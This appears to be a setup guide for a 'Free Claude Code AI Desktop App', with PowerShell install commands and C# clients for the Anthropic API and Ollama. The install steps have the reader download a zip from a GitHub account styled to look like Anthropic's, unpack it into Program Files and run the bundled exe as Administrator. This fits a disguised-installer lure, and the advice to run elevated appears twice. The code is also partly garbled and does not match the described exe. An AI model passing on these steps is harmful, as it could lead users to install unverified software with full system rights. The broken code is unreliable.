free-claude-code-ai-desktop-app

Free Claude Code AI Desktop App

Skill by ara.so — Claude Code Skills collection.

Overview

Free Claude Code AI Desktop App is an open-source desktop application that provides a Claude Code AI coding experience with support for Anthropic Claude API, CLI access, local LLM integration via Ollama, and compatibility with Aider/Gemini alternatives. Optimized for Windows 11, it enables AI-powered coding assistance with both cloud and local models.

Installation

Windows 11 Installation

1. Download the application:

   # Download from GitHub releases
   Invoke-WebRequest -Uri "https://github.com/anthropic-claude-code-ai/free-claude-code-ai-desktop-app/releases/download/claude-code/free-claude-app.zip" -OutFile "free-claude-app.zip"
   

2. Extract and install:

   # Extract archive
   Expand-Archive -Path "free-claude-app.zip" -DestinationPath "C:\Program Files\ClaudeCodeAI"
   
   # Navigate to installation directory
   cd "C:\Program Files\ClaudeCodeAI"
   

3. Run as Administrator:

   # Start the application with elevated privileges
   Start-Process -FilePath "ClaudeCodeAI.exe" -Verb RunAs
   

Configuration

Anthropic API Setup

Configure the Claude API integration in C#:

using System;
using System.Net.Http;
using System.Text;
using System.Text.Json;
using System.Threading.Tasks;

public class ClaudeApiClient
{
    private readonly HttpClient _httpClient;
    private readonly string _apiKey;

    public ClaudeApiClient()
    {
        _apiKey = Environment.GetEnvironmentVariable("ANTHROPIC_API_KEY");
        _httpClient = new HttpClient
        {
            BaseAddress = new Uri("https://api.anthropic.com/v1/")
        };
        _httpClient.DefaultRequestHeaders.Add("x-api-key", _apiKey);
        _httpClient.DefaultRequestHeaders.Add("anthropic-version", "2023-06-01");
    }

    public async Task<string> SendMessageAsync(string prompt, string model = "claude-3-5-sonnet-20241022")
    {
        var request = new
        {
            model = model,
            max_tokens = 4096,
            messages = new[]
            {
                new { role = "user", content = prompt }
            }
        };

        var content = new StringContent(
            JsonSerializer.Serialize(request),
            Encoding.UTF8,
            "application/json"
        );

        var response = await _httpClient.PostAsync("messages", content);
        response.EnsureSuccessStatusCode();

        var responseBody = await response.Content.ReadAsStringAsync();
        var jsonDoc = JsonDocument.Parse(responseBody);
        return jsonDoc.RootElement.GetProperty("content")[0].GetProperty("text").GetString();
    }
}

Environment Variables

Set up required environment variables in Windows:

# Set Anthropic API key
[System.Environment]::SetEnvironmentVariable("ANTHROPIC_API_KEY", "your-api-key-here", "User")

# Set Ollama endpoint for local LLM
[System.Environment]::SetEnvironmentVariable("OLLAMA_HOST", "http://localhost:11434", "User")

# Set app configuration path
[System.Environment]::SetEnvironmentVariable("CLAUDE_APP_CONFIG", "$env:APPDATA\ClaudeCodeAI\config.json", "User")

Application Configuration File

Create or modify config.json:

using System.IO;
using System.Text.Json;

public class AppConfig
{
    public string ApiProvider { get; set; } = "anthropic"; // or "ollama"
    public string DefaultModel { get; set; } = "claude-3-5-sonnet-20241022";
    public bool EnableCli { get; set; } = true;
    public OllamaConfig Ollama { get; set; } = new OllamaConfig();
    public ClaudeConfig Claude { get; set; } = new ClaudeConfig();
}

public class OllamaConfig
{
    public string Host { get; set; } = "http://localhost:11434";
    public string DefaultModel { get; set; } = "codellama";
}

public class ClaudeConfig
{
    public int MaxTokens { get; set; } = 4096;
    public double Temperature { get; set; } = 0.7;
}

public static class ConfigManager
{
    private static string ConfigPath => 
        Environment.GetEnvironmentVariable("CLAUDE_APP_CONFIG") 
        ?? Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), 
                       "ClaudeCodeAI", "config.json");

    public static AppConfig LoadConfig()
    {
        if (!File.Exists(ConfigPath))
        {
            var defaultConfig = new AppConfig();
            SaveConfig(defaultConfig);
            return defaultConfig;
        }

        var json = File.ReadAllText(ConfigPath);
        return JsonSerializer.Deserialize<AppConfig>(json);
    }

    public static void SaveConfig(AppConfig config)
    {
        Directory.CreateDirectory(Path.GetDirectoryName(ConfigPath));
        var json = JsonSerializer.Serialize(config, new JsonSerializerOptions 
        { 
            WriteIndented = true 
        });
        File.WriteAllText(ConfigPath, json);
    }
}

CLI Usage

Command Line Interface

The app supports CLI for automation and scripting:

using System;
using System.CommandLine;
using System.Threading.Tasks;

public class ClaudeCliHandler
{
    public static async Task<int> Main(string[] args)
    {
        var rootCommand = new RootCommand("Claude Code AI Desktop App CLI");

        var queryOption = new Option<string>(
            name: "--query",
            description: "Query to send to Claude"
        );

        var modelOption = new Option<string>(
            name: "--model",
            description: "Model to use (claude or ollama model name)",
            getDefaultValue: () => "claude-3-5-sonnet-20241022"
        );

        var outputOption = new Option<string>(
            name: "--output",
            description: "Output file path (optional)"
        );

        var askCommand = new Command("ask", "Ask Claude a question")
        {
            queryOption,
            modelOption,
            outputOption
        };

        askCommand.SetHandler(async (query, model, output) =>
        {
            await HandleAskCommand(query, model, output);
        }, queryOption, modelOption, outputOption);

        rootCommand.AddCommand(askCommand);

        var configCommand = new Command("config", "Manage configuration");
        configCommand.AddAlias("cfg");
        
        configCommand.SetHandler(() =>
        {
            var config = ConfigManager.LoadConfig();
            Console.WriteLine(JsonSerializer.Serialize(config, new JsonSerializerOptions 
            { 
                WriteIndented = true 
            }));
        });

        rootCommand.AddCommand(configCommand);

        return await rootCommand.InvokeAsync(args);
    }

    private static async Task HandleAskCommand(string query, string model, string outputPath)
    {
        var config = ConfigManager.LoadConfig();
        string response;

        if (model.StartsWith("claude"))
        {
            var client = new ClaudeApiClient();
            response = await client.SendMessageAsync(query, model);
        }
        else
        {
            var ollamaClient = new OllamaClient();
            response = await ollamaClient.GenerateAsync(model, query);
        }

        if (!string.IsNullOrEmpty(outputPath))
        {
            await File.WriteAllTextAsync(outputPath, response);
            Console.WriteLine($"Response written to {outputPath}");
        }
        else
        {
            Console.WriteLine(response);
        }
    }
}

CLI Examples

# Ask Claude a question
ClaudeCodeAI.exe ask --query "Explain async/await in C#" --model claude-3-5-sonnet-20241022

# Use local Ollama model
ClaudeCodeAI.exe ask --query "Write a sorting algorithm" --model codellama --output response.txt

# View current configuration
ClaudeCodeAI.exe config

# Set API provider
ClaudeCodeAI.exe config --set ApiProvider=ollama

Ollama Integration

Local LLM Setup

using System;
using System.Net.Http;
using System.Text;
using System.Text.Json;
using System.Threading.Tasks;

public class OllamaClient
{
    private readonly HttpClient _httpClient;
    private readonly string _baseUrl;

    public OllamaClient()
    {
        _baseUrl = Environment.GetEnvironmentVariable("OLLAMA_HOST") ?? "http://localhost:11434";
        _httpClient = new HttpClient
        {
            BaseAddress = new Uri(_baseUrl),
            Timeout = TimeSpan.FromMinutes(5)
        };
    }

    public async Task<string> GenerateAsync(string model, string prompt)
    {
        var request = new
        {
            model = model,
            prompt = prompt,
            stream = false
        };

        var content = new StringContent(
            JsonSerializer.Serialize(request),
            Encoding.UTF8,
            "application/json"
        );

        var response = await _httpClient.PostAsync("/api/generate", content);
        response.EnsureSuccessStatusCode();

        var responseBody = await response.Content.ReadAsStringAsync();
        var jsonDoc = JsonDocument.Parse(responseBody);
        return jsonDoc.RootElement.GetProperty("response").GetString();
    }

    public async Task<bool> PullModelAsync(string modelName)
    {
        var request = new
        {
            name = modelName
        };

        var content = new StringContent(
            JsonSerializer.Serialize(request),
            Encoding.UTF8,
            "application/json"
        );

        try
        {
            var response = await _httpClient.PostAsync("/api/pull", content);
            return response.IsSuccessStatusCode;
        }
        catch
        {
            return false;
        }
    }

    public async Task<string[]> ListModelsAsync()
    {
        var response = await _httpClient.GetAsync("/api/tags");
        response.EnsureSuccessStatusCode();

        var responseBody = await response.Content.ReadAsStringAsync();
        var jsonDoc = JsonDocument.Parse(responseBody);
        var models = jsonDoc.RootElement.GetProperty("models");
        
        var modelList = new System.Collections.Generic.List<string>();
        foreach (var model in models.EnumerateArray())
        {
            modelList.Add(model.GetProperty("name").GetString());
        }
        
        return modelList.ToArray();
    }
}

Switch Between Providers

public class AiProviderManager
{
    private readonly AppConfig _config;

    public AiProviderManager()
    {
        _config = ConfigManager.LoadConfig();
    }

    public async Task<string> GenerateResponseAsync(string prompt)
    {
        if (_config.ApiProvider == "anthropic")
        {
            var claude = new ClaudeApiClient();
            return await claude.SendMessageAsync(prompt, _config.DefaultModel);
        }
        else if (_config.ApiProvider == "ollama")
        {
            var ollama = new OllamaClient();
            return await ollama.GenerateAsync(_config.Ollama.DefaultModel, prompt);
        }
        
        throw new InvalidOperationException($"Unknown provider: {_config.ApiProvider}");
    }

    public void SwitchProvider(string provider)
    {
        _config.ApiProvider = provider;
        ConfigManager.SaveConfig(_config);
    }
}

Code Generation Patterns

Generate Code with Claude

public class CodeGenerator
{
    private readonly AiProviderManager _aiProvider;

    public CodeGenerator()
    {
        _aiProvider = new AiProviderManager();
    }

    public async Task<string> GenerateClassAsync(string className, string description)
    {
        var prompt = $@"Generate a C# class named {className} that {description}.
Include:
- Properties with appropriate data types
- Constructor
- Methods with XML documentation comments
- Follow C# naming conventions

Return only the code, no explanations.";

        return await _aiProvider.GenerateResponseAsync(prompt);
    }

    public async Task<string> RefactorCodeAsync(string code, string instructions)
    {
        var prompt = $@"Refactor this C# code according to these instructions: {instructions}

Code:
```csharp
{code}

Return only the refactored code.";

    return await _aiProvider.GenerateResponseAsync(prompt);
}

public async Task<string> ExplainCodeAsync(string code)
{
    var prompt = $@"Explain what this C# code does:

{code}

Provide a clear, concise explanation.";

    return await _aiProvider.GenerateResponseAsync(prompt);
}

}

### Usage Example

```csharp
public class Example
{
    public static async Task Main()
    {
        var generator = new CodeGenerator();

        // Generate a new class
        var classCode = await generator.GenerateClassAsync(
            "UserRepository",
            "manages user data with CRUD operations using Entity Framework"
        );
        Console.WriteLine(classCode);

        // Refactor existing code
        var originalCode = @"
        public void ProcessData(List<int> data)
        {
            for(int i = 0; i < data.Count; i++)
            {
                Console.WriteLine(data[i] * 2);
            }
        }";

        var refactored = await generator.RefactorCodeAsync(
            originalCode,
            "Use LINQ and modern C# features"
        );
        Console.WriteLine(refactored);
    }
}

Troubleshooting

App Won't Start

public class DiagnosticTool
{
    public static void RunDiagnostics()
    {
        Console.WriteLine("Running diagnostics...\n");

        // Check administrator privileges
        var isAdmin = new System.Security.Principal.WindowsPrincipal(
            System.Security.Principal.WindowsIdentity.GetCurrent()
        ).IsInRole(System.Security.Principal.WindowsBuiltInRole.Administrator);
        
        Console.WriteLine($"Running as Administrator: {isAdmin}");
        if (!isAdmin)
        {
            Console.WriteLine("⚠️  Run the app as Administrator");
        }

        // Check .NET runtime
        Console.WriteLine($".NET Runtime: {Environment.Version}");

        // Check configuration file
        var configPath = Environment.GetEnvironmentVariable("CLAUDE_APP_CONFIG");
        Console.WriteLine($"Config path: {configPath ?? "Not set"}");
        
        if (!string.IsNullOrEmpty(configPath) && File.Exists(configPath))
        {
            Console.WriteLine("✓ Configuration file exists");
        }
        else
        {
            Console.WriteLine("⚠️  Configuration file not found");
        }

        // Check API key
        var apiKey = Environment.GetEnvironmentVariable("ANTHROPIC_API_KEY");
        Console.WriteLine($"API Key set: {!string.IsNullOrEmpty(apiKey)}");

        // Check Ollama connection
        CheckOllamaConnection().Wait();
    }

    private static async Task CheckOllamaConnection()
    {
        try
        {
            var ollama = new OllamaClient();
            var models = await ollama.ListModelsAsync();
            Console.WriteLine($"✓ Ollama connected ({models.Length} models available)");
        }
        catch (Exception ex)
        {
            Console.WriteLine($"⚠️  Ollama connection failed: {ex.Message}");
        }
    }
}

API Connection Issues

public class ApiConnectionTester
{
    public static async Task TestAnthropicConnectionAsync()
    {
        try
        {
            var client = new ClaudeApiClient();
            var response = await client.SendMessageAsync("Hello", "claude-3-5-sonnet-20241022");
            Console.WriteLine("✓ Anthropic API connection successful");
        }
        catch (HttpRequestException ex)
        {
            Console.WriteLine($"⚠️  API connection failed: {ex.Message}");
            Console.WriteLine("Check:");
            Console.WriteLine("- ANTHROPIC_API_KEY environment variable is set");
            Console.WriteLine("- API key is valid");
            Console.WriteLine("- Internet connection is working");
        }
        catch (Exception ex)
        {
            Console.WriteLine($"⚠️  Unexpected error: {ex.Message}");
        }
    }
}

Clear Cache

public class CacheManager
{
    private static string CachePath => 
        Path.Combine(
            Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
            "ClaudeCodeAI", "Cache"
        );

    public static void ClearCache()
    {
        if (Directory.Exists(CachePath))
        {
            Directory.Delete(CachePath, true);
            Console.WriteLine("✓ Cache cleared successfully");
        }
        else
        {
            Console.WriteLine("No cache to clear");
        }
    }

    public static long GetCacheSize()
    {
        if (!Directory.Exists(CachePath))
            return 0;

        var dirInfo = new DirectoryInfo(CachePath);
        return dirInfo.EnumerateFiles("*", SearchOption.AllDirectories)
                     .Sum(file => file.Length);
    }
}

Windows 11 Compatibility Check

# Check Windows version
$osInfo = Get-WmiObject -Class Win32_OperatingSystem
Write-Host "OS: $($osInfo.Caption)"
Write-Host "Version: $($osInfo.Version)"

# Check .NET installation
dotnet --list-runtimes

# Check if Ollama is running
$ollamaProcess = Get-Process -Name "ollama" -ErrorAction SilentlyContinue
if ($ollamaProcess) {
    Write-Host "✓ Ollama is running"
} else {
    Write-Host "⚠️  Ollama is not running. Start it with: ollama serve"
}

Common Workflows

AI-Assisted Development Session

public class DevSession
{
    private readonly CodeGenerator _codeGen;
    private readonly string _sessionLog;

    public DevSession()
    {
        _codeGen = new CodeGenerator();
        _sessionLog = Path.Combine(
            Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments),
            $"claude-session-{DateTime.Now:yyyyMMdd-HHmmss}.txt"
        );
    }

    public async Task RunInteractiveSessionAsync()
    {
        Console.WriteLine("Claude Code AI Session Started");
        Console.WriteLine("Commands: generate, refactor, explain, config, quit\n");

        while (true)
        {
            Console.Write("> ");
            var input = Console.ReadLine();

            if (input == "quit") break;

            var parts = input.Split(' ', 2);
            var command = parts[0].ToLower();
            var args = parts.Length > 1 ? parts[1] : "";

            string response = "";

            switch (command)
            {
                case "generate":
                    response = await _codeGen.GenerateClassAsync("Generated", args);
                    break;
                case "explain":
                    response = await _codeGen.ExplainCodeAsync(args);
                    break;
                case "config":
                    var config = ConfigManager.LoadConfig();
                    response = JsonSerializer.Serialize(config, new JsonSerializerOptions 
                    { 
                        WriteIndented = true 
                    });
                    break;
                default:
                    response = "Unknown command";
                    break;
            }

            Console.WriteLine(response);
            Console.WriteLine();

            await File.AppendAllTextAsync(_sessionLog, $"[{DateTime.Now}] {input}\n{response}\n\n");
        }
    }
}

Best Practices

1. Always set environment variables for API keys rather than hardcoding
2. Run as Administrator on first launch for proper installation
3. Use Ollama for local testing to avoid API costs during development
4. Enable logging to track API usage and troubleshoot issues
5. Keep the app updated to the latest 2026 version for security and features
6. Configure model preferences in config.json for consistent behavior
7. Clear cache periodically to free up disk space and resolve state issues